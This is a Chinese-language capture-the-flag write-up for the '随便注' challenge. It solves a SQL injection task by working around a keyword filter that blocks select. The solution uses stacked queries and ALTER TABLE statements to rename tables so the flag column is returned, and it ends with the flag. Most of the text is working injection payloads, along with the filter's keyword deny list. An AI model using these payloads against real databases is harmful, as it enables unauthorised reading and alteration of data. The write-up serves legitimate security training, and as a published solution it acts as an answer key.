题目介绍
题目描述"随便注"
先看一下是否存在注入
判断闭合方式
输入1' and 1=1-- -正常回显
输入1'and 1=2-- -无回显,确认是单引号闭合
看一下列数
输入1' order by 2-- - 有回显
输入1' order by 3-- - 报错,由此判断两列
使用union联合注入发现select被过滤了,无法使用联合注入
过滤的内容
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
尝试一下堆叠注入
堆叠注入的原理
mysql数据库sql语句的默认结束符是以;
结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;
结束一条sql语句后继续构造下一条语句,会一起执行。这就是堆叠注入的基本原理
查看数据库
1';show databases;- --
查看表
1';show tables;-- -
查看两个表的字段(查看表名的时候表名要用反引号包裹)
1919810931114514表
1'; show columns from `1919810931114514`-- -
发现"flag"、"NO"
words表
1'; show columns from `words`-- -
现在虽然已经到了flag字段,但是select被过滤了,我们看不了flag字段,那么我们该怎么查看字段内容呢?
解决方法:改表名
查看过滤的内容发现rename、alert这俩关键字没有被过滤,根据在words表里发现id字段与查询框里的出的数据类型相同,一个是数字,另一个是字符串,所以默认查询的就是words表,我们可以将含有flag字段的表命名为word,然后修改字段名字
第一步:words名改为word1
alter table words rename to word1;
第二步 :把"1919810931114514"数字表名改为 words
alter table `1919810931114514` rename to words;
第三步:把现在的words表中的flag字段名改为id
alter table words change flag id varchar(100);
合在一起构造pyload(也可以分开执行语句)
1'; alter table words rename to word1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);-- -
查看flag
1' or true-- -
flag{c168d583ed0d4d7196967b28cbd0b5e9}